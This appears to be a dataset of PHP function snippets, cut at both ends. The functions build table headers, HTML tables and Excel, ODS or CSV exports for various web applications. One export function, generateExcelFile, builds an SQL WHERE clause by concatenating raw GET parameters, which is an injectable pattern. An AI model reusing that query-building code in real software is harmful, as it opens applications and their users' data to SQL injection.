do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function metadata()\n {\n $this->load->library('explain_table');\n\n $metadata = $this->explain_table->parse( 'employee' );\n\n foreach( $metadata as $k => $md )\n {\n if( !empty( $md['enum_values'] ) )\n {\n $metadata[ $k ]['enum_names'] = array_map( 'lang', $md['enum_values'] ); \n } \n }\n return $metadata; \n }", "static public function JColumns () {\n $smpls = SampleAnnotation::all();\n $samples = $smpls->toArray();\n #$samples = DB::select('select a.biomaterial_id, a.biomaterial_name, a.person from sample_annotation a join sample_annotation_biomaterial b on a.biomaterial_id=b.biomaterial_id');\n\n #===generate the data in format for column names \n $jcolnames ='[';\n foreach($samples[0] as $key=>$value) {\n if($key=='biomaterial_id') {\n $biomaterial_id = $key;\n }\n elseif($key!='subject_id' and $key!='person_id' and $key!='type_sequencing' and $key!='type_seq' and $key!='run_name' and $key!='file_name'){\n if($key==\"diagnosis\") { \n $key=$key.\"(tree)\";\n }\n $jcolnames .= '{\"title\":\"'.$key.'\"},';\n }\n }\n $jcolnames .=']';\n return $jcolnames;\n }", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "abstract protected function getRowsHeader(): array;", "public function getAdminPanelHeaderData() {}", "public function csvHeaderRow()\n {\n static $columns;\n\n if ($columns === null) {\n $columns = [ 'source' ];\n $languages = $this->languages();\n foreach ($languages as $lang) {\n $columns[] = $lang;\n }\n\n $columns[] = 'context';\n }\n\n return $columns;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function get_column_headers($screen)\n {\n }", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "public function pi_list_header() {}", "function wizardHeader() {\n $strOutput = '<table border=\"0\" cellpadding=\"2\" cellspacing=\"1\">';\n return $strOutput;\n }", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "abstract protected function getColumnsHeader(): array;", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "public function run()\n {\n\t\t$objPHPExcel = PHPExcel_IOFactory::load('public/excel-imports/designations.xlsx');\n\t\t$sheet = $objPHPExcel->getSheet(0);\n\t\t$highestRow = $sheet->getHighestDataRow();\n\t\t$highestColumn = $sheet->getHighestDataColumn();\n\t\t$header = $sheet->rangeToArray('A1:' . $highestColumn . '1', null, true, false);\n\t\t$header = $header[0];\n\t\tforeach ($header as $key => $column) {\n\t\t\tif ($column == null) {\n\t\t\t\tunset($header[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$designation = $sheet->rangeToArray('A2:' . $highestColumn . $highestRow, null, true, false);\n\t\tif (!empty($designation)) {\n\t\t\tforeach ($designation as $key => $designationValue) {\n\t\t\t\t$val = [];\n\t\t\t\tforeach ($header as $headerKey => $column) {\n\t\t\t\t\tif (!$column) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$header_col = str_replace(' ', '_', strtolower($column));\n\t\t\t\t\t\t$val[$header_col] = $designationValue[$headerKey];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$val = (object) $val;\n\t\t\t\ttry {\n\t\t\t\t\tif (empty($val->company)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}if (empty($val->name)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (empty($val->grade)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$validator = Validator::make((array) $val, [\n\t\t\t\t\t\t'name' => [\n\t\t\t\t\t\t\t'string',\n\t\t\t\t\t\t\t'max:255',\n\t\t\t\t\t\t],\n\t\t\t\t\t]);\n\t\t\t\t\tif ($validator->fails()) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' ' . implode('', $validator->errors()->all()));\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$company = Company::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('id', $val->company)\n\t\t\t\t\t\t->first();\n\t\t\t\t\tif (!$company) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company not found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$grade = Entity::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('name', $val->grade)\n\t\t\t\t\t\t->first();\n\n\t\t\t\t\tif (!$grade) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade Not Found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$existing_designation = Designation::where('company_id',$company->id)\n\t\t\t\t\t->where('name',$val->name)\n\t\t\t\t\t->where('grade_id',$grade->id)->first();\n\t\t\t\t\t\n\t\t\t\t\tif ($existing_designation) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Designation Already Exist');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$designation = new Designation;\n\t\t\t\t\t$designation->company_id = $company->id;\n\t\t\t\t\t$designation->name = $val->name;\n\t\t\t\t\t$designation->grade_id = $grade->id;\n\t\t\t\t\t$designation->created_by = 1;\n\t\t\t\t\t$designation->save();\n\t\t\t\t\tdump(' === updated === ');\n\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\tdump($e);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdd(' == completed ==');\n\t\t}\n }", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "private function render_data()\n\t{\n\t\t// create if the headers exists\n\t\t// 2 header style table\n\t\tif(count($this->headers) == 2 && isset($this->headers[0][0]) && isset($this->headers[1][0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr><th></th>';\n\t\t\tforeach($this->headers[0] as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the row headers and the data\n\t\t\tfor($i=0; $i<count($this->headers[1]); $i++)\n\t\t\t{\n\t\t\t\t// the header\n\t\t\t\t$html .= \"<tr><th>{$this->headers[1][$i]}</th>\";\n\t\t\t\t\n\t\t\t\t// and now the data\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\t// 1 header style table\n\t\tif(count($this->headers) > 0 && isset($this->headers[0]) && !is_array($this->headers[0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr>';\n\t\t\tforeach($this->headers as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the data\n\t\t\tfor($i=0; $i<count($this->data); $i++)\n\t\t\t{\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\treturn '';\n\t}", "function write_table_head()//scrie capul de tabel pentru perioadele de vacanta\r\n{\r\n\t$output = \"\";\r\n\tadd($output,'<table width=\"500px\" cellpadding=\"1\" cellspacing=\"1\" class=\"special\">');\r\n\tadd($output,'<tr class=\"tr_head\"><td>Nr</td><td>Data inceput</td><td>Data sfarsit</td></tr>');\r\n\t\r\n\treturn $output;\r\n}", "public function index()\n {\n return view(\"pages.admin.specification.hdr.hdr\",$this->data);\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "function populateInstrumentsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {\n\t\t$query = $this->db->query( \"DESCRIBE `\".DB_PREFIX.\"instrument`\" );\n\t\t$instrument_fields = array();\n\t\tforeach ($query->rows as $row) {\n\t\t\t$instrument_fields[] = $row['Field'];\n\t\t}\n\n\t\t// Opencart versions from 2.0 onwards also have instrument_description.meta_title\n\t\t$sql = \"SHOW COLUMNS FROM `\".DB_PREFIX.\"instrument_description` LIKE 'meta_title'\";\n\t\t$query = $this->db->query( $sql );\n\t\t$exist_meta_title = ($query->num_rows > 0) ? true : false;\n\n\t\t// Set the column widths\n\t\t$j = 0;\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('instrument_id'),4)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);\n\n\t\t// The instrument headings row and column styles\n\t\t$styles = array();\n\t\t$data = array();\n\t\t$i = 1;\n\t\t$j = 0;\n\t\t$data[$j++] = 'instrument_id';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'name('.$language['code'].')';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'categories';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'sku';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'upc';\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'ean';\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'jan';\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'isbn';\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'mpn';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'location';\n\t\t$data[$j++] = 'quantity';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'model';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'manufacturer';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'image_name';\n\t\t$data[$j++] = 'shipping';\n\t\t$styles[$j] = &$price_format;\n\t\t$data[$j++] = 'price';\n\t\t$data[$j++] = 'points';\n\t\t$data[$j++] = 'date_added';\n\t\t$data[$j++] = 'date_modified';\n\t\t$data[$j++] = 'date_available';\n\t\t$styles[$j] = &$weight_format;\n\t\t$data[$j++] = 'weight';\n\t\t$data[$j++] = 'weight_unit';\n\t\t$data[$j++] = 'length';\n\t\t$data[$j++] = 'width';\n\t\t$data[$j++] = 